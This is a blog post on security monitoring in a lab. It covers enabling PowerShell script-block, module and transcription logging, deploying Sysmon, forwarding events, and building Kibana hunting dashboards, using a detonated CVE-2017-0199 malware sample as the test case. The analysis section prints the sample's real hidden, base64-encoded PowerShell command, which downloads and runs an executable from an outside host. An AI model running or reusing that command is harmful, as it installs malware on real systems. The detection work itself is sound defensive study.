Enhanced PowerShell Logging and Sysmon Logs to ElasticSearch and Visualization/Dashboarding using Kibana - Part 1 of Series
So I was thinking of coming up with a quick and easy solution whereby the power of enhanced powershell logging, sysmon and Elasticsearch+Kibana can be used to gain visibility during security monitoring/security analysis, into threats leveraging powershell, and at the same time these logs can be used to perform IR and malware forensics and analysis.
My lab comprise of a Windows server 2012 for DC, Win 7 client and ELK stack running on an Ubuntu server.
The enhanced powershell logging features are present in V3 and newer, and therefore all endpoints needs to get the the latest PS V5 installed on them. PS Enhanced logging can be enabled on GPO but in case if you have windows 2012 DC, you would have to download the GPO administrative templates for Windows 10/Windows server 2016 from MS website:
Once you download, copy the admx and adml files in the respective folders in "c:\windows\policydefinitions"
Once you get that into place, you will be able to see options in GPO to turn on:
1. Module Logging
2. PS Script Block Logging
3. Powershell Transcription Logging
You configure to log all modules
Script block logging when enabled, will give visibility into unobfuscated PS as it records the actual decoded code delivered to the PS engine just before execution:
Also PS transcription logging (Which is not stored in windows event logs, but is stored in timestamped files in "My Documents" folder). This can be directed to a write-only network share from all machines and then injested by SIEM. Any text written on PS console will be recorded in these logs.
in order to record a timestamp for each command executed.
After making the change sin the GPO, let us update the clients:
After doing that, let us look at a sample execution of an obfuscated PS script:
Using PS ISE to execute the encoded script Untitled1.ps1:
Script Block Logging
We can see under Microsoft-Windows-Powershel/Operational the event log indicating the Untitled1.ps1 being executed:
PS Scriptblock log showing the base64 encoded command:
Here we can see the deobfuscated/decoded script
We can clearly see the pipeline execution logs for the deobfuscated commandline
PS Transaction Logging
We can see the log files created in the "My documents" folder, where we can see the details of the deobfuscated command executed and output of the execution with date and time stamps:
Let us move to sysmon now. The center stage for this tool is its config file, which needs to be configured correctly and tuned so that only relevant logs can be captured, while irrelevant logs are not. Some cool references can be found at:
Installing the sysmon service on endpoints is pretty straighforward and a reference on how to push sysmon and its config file to all the endpoints in the network using GPO and installing it can be found at:
Installing with the tuned config file:
Once installed we can see sysmon logs appearing in the operational folder:
Setting up Log subscription / Collector
Once we configure this, we got to set up a centralized logging for both enhanced powershell logs and sysmon logs from all endpoints to a central server.
Configuring the Forwarders
For this we need to configure Winrm on the forwarders (all endpoints) as below and ensure that this service is running on the collector component:
Using Group Policy
Computer > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service
Add the computer name of the "Collector" and the NETWORK SERVICE user in the "Event Log Readers" local group on the endpoints:
Also add NETWORK SERVICE user and the admin user to the "WinRMRemoteWMIUers__" local group on the endpoints:
We also have to execute the following command on all endpoints AFTER CONFIGURING THE SUBSCRIPTION ON THE COLLECTOR END, in order to add the SID S-1-5-20 of local group "Event Log Readers" to Channel Access. Unless this is done the Sysmon logs will not be received by the collector.
wevtutil sl Microsoft-Windows-Sysmon/Operational /ca:O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)(A;;0x1;;;S-1-5-20)
Configuring the Collector:
Ok let us configure the collector server now. Run the wecutil command to enable Windows Events Collection:
Now let us create subscription
You can designate the designation of the logs coming from subscribers/forwarders to "Forwarded Events" or another folder of your choice. Click on "Select Computers" to add the subscribers/forwarders.
Now select the events using the XML based XPath for powershell and sysmon logs, which are being generated on the endpoints/subscribers/forwarders:
After sometime you will see the logs start coming in from subscribers/endpoints in the Forwarded Events folders of the event log viewer of the Collector:
Now let us look at the visibility of endpoints using the events forwarded to the collector by running a live malware on one of the endpoint/subscriber/forwarder:
I detonated the MSO rtf file with embedded exploit CVE-2017-0199, which automatically updates the OLE2 embedded link object and retrieves the HTA file. Next winword.exe looks up the file handler for application/hta object and causes the mshta.exe to load the malicious hta file.
It is to be noted that Winword.exe makes a request to the DCOMLaunch service, which in turn causes the svchost.exe process hosting DCOMLaunch to execute mshta.exe. Mshta.exe then executes the script embedded in the malicious HTA document. So winword.exe is not the parent process for the mshta.exe process.
Consequently hta downloads and executes the malicious obfuscated powershell script, which then downloads another malicious binary. This binary then drops the Autoit script interpreter and the malicious autoit script, which is then executed:
Opening the malicious RTF file:
We can see the embedded link downloading the hta file:
We can see malicious powershell processes running on the endpoint in the task manager:
We can see winword.exe did not spawn any child process:
We can see the mshta.exe spawning powershell and the first stage binary "roam.exe" and the autoit script interpreter "hds.exe"
The obfuscated PS script can be seen below:
------------------------------------------------First (parent) PS obfuscated payload -----------------------------
"C:\Windows\SYstEm32\wiNdOWSPoweRsHELL\v1.0\poweRsHELL.ExE" " POweRSHelL.ExE -exECuTIOnPOLiCy byPASs -NOpRofile -WINDOWStyle HIDdEn -encodedcomMAnd CQBzAGUAVAAtAGMAbwBOAFQAZQBOAFQACQAtAFYAQQBMAFUARQAJACgATgBFAFcALQBPAGIASgBlAEMAVAAgAHMAeQBzAHQARQBNAC4ATgBFAFQALgB3AEUAQgBDAGwASQBFAG4AdAApAC4ARABPAHcATgBsAG8AQQBkAEQAYQB0AGEAKAAJAB0gaAB0AHQAcAA6AC8ALwB2AGkAZwByAGEAYwBhAHMAaAAuAHQAbwBwAC8AdABoAGUAbQBlAHMALwBrAGsAawAvAFMATwBBAC4AZQB4AGUAHSAJACkACQAtAEUAbgBDAE8AZABJAG4AZwAJAGIAeQB0AGUACQAtAFAAQQBUAGgACQAdICQAZQBuAHYAOgBhAHAAcABkAEEAVABBAFwAcgBvAGEAbQAuAGUAeABlAB0gCQA7AAkAUwBUAEEAUgB0AAkAHSAkAEUATgBWADoAQQBQAHAARABBAFQAYQBcAHIAbwBhAG0ALgBlAHgAZQAdIA== "
------------------------------------------------Second PS (child) obfuscated payload ----------------------------
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exECuTIOnPOLiCy byPASs -NOpRofile -WINDOWStyle HIDdEn -encodedcomMAnd CQBzAGUAVAAtAGMAbwBOAFQAZQBOAFQACQAtAFYAQQBMAFUARQAJACgATgBFAFcALQBPAGIASgBlAEMAVAAgAHMAeQBzAHQARQBNAC4ATgBFAFQALgB3AEUAQgBDAGwASQBFAG4AdAApAC4ARABPAHcATgBsAG8AQQBkAEQAYQB0AGEAKAAJAB0gaAB0AHQAcAA6AC8ALwB2AGkAZwByAGEAYwBhAHMAaAAuAHQAbwBwAC8AdABoAGUAbQBlAHMALwBrAGsAawAvAFMATwBBAC4AZQB4AGUAHSAJACkACQAtAEUAbgBDAE8AZABJAG4AZwAJAGIAeQB0AGUACQAtAFAAQQBUAGgACQAdICQAZQBuAHYAOgBhAHAAcABkAEEAVABBAFwAcgBvAGEAbQAuAGUAeABlAB0gCQA7AAkAUwBUAEEAUgB0AAkAHSAkAEUATgBWADoAQQBQAHAARABBAFQAYQBcAHIAbwBhAG0ALgBlAHgAZQAdIA==
Here we can see that the Autoit binary hds.exe is executed with "nss-ggh" parameters:
We see the malicious Autoit script (DRQUS) being passed on to the Autoit interpreter:
Let us analyse the logs.
We can see the process mshta.exe being created with parent process svchost.exe -k DcomLaunch:
We can see the obfuscated PS being spawned by mshta.exe
We can see another powershell script and a powershell module being dropped by the first powershell.exe process:
Let us look at scrip block logs of PS:
We can also see the malicious network conn from the powershell process to download this:
Next we see the process creation of malicious first stage roam.exe
We can also see the creation of a compressed file by roam.exe. From the name of it, I am guessing it is an sfx file to be decompressed in order to check some permissions? maybe?
Next we see sysmon is telling us that roam.exe spawned the hds.exe binary
We can see the Autoit process created with the malicious autoit script passed as the argument:
Spawning of Autoit script:
We can see the malicious autoit script creating persistence mechanism:
We can see the artifacts
Log Collection, Aggregation and Visualization using ELK
I downloaded the latest versions of Elasticsearch, Kibana and Winlogbeat from https://www.elastic.co/downloads
Installed the Elasticsearch and Kibana on my Ubuntu server and configured the yml files, setting up node and inegrating both. I had to run the following command to increase virtual memory which can be mapped in my Ubuntu vm for the Elasticsearch instance to start without error:
" sudo sysctl -w vm.max_map_count=262144"
Next I installed Winlogbeat on my "Collector" machine, which is the one receiving the Syslog and pwoershell logs from the endpoints/subscribers/forwarders. The idea is to ship the logs from "ForwardedEvents" folder of event logs to the Elasticsearch.
Once I installed and configured Winlogbeat I tested its configuration:
We need to specify the name of the events which are to be shipped to ELK, and the ip address of the ELK cluster node. The default port 9200 is where ELK listens for incoming JSONs objects:
Once we install the service, we need to start it
As soon as this service starts and ELK is all set up, we can see logs start flowing from ForwardedEvents folder on the Collector box to the Elasticsearch on our Ubuntu box.
Let us run another malicious sample exploiting the same CVE 2017-0199 on one of our endpoints and see how these logs are visualized in Kibana.
Malicious artifacts created and event logs generate are below:
It seems to be the Remcos malware
Kibana Queries and Visualization
- Hunting for processes making outbound network connections which normally should not:
Once you create this search query, you can go to Visualize tab, and create a time-based graph, chart etc based on the saved search and now save this Visualization:
Next logical thing is to create a dashboard by navigating to the dashboard tab and add the saved visualization:
2. Hunting for deobfuscated PS in pipeline execution events where keyword "WebClient" is use, indicating possible malicious download:
We will repeat the same steps to create a visualization and a dashboard item for all PS logs showing a call to System.Net.WebClient to download something and we visualize all such PS code:
Here is the dashboard with two items:
3. Finding Obfuscated or Suspicious PS
Following query can be used to look for all events with event_id:1 of sysmon (process create), and with keywords "encoded", "noprofile", "bypass", "hidden" anywhere in the raw log and the cmdline containing powershell.exe:
A weird pie chart created to visualize the above search
Added to the dashboard:
This is just the beginning of what you can do with the powerful logging capabilities of sysmon and powershell as well as the visualization capabilities of Elasticsearch + Kibana.
Next time we will look into detecting various other kind of attacks like reflective DLL injection, mimikatz etc.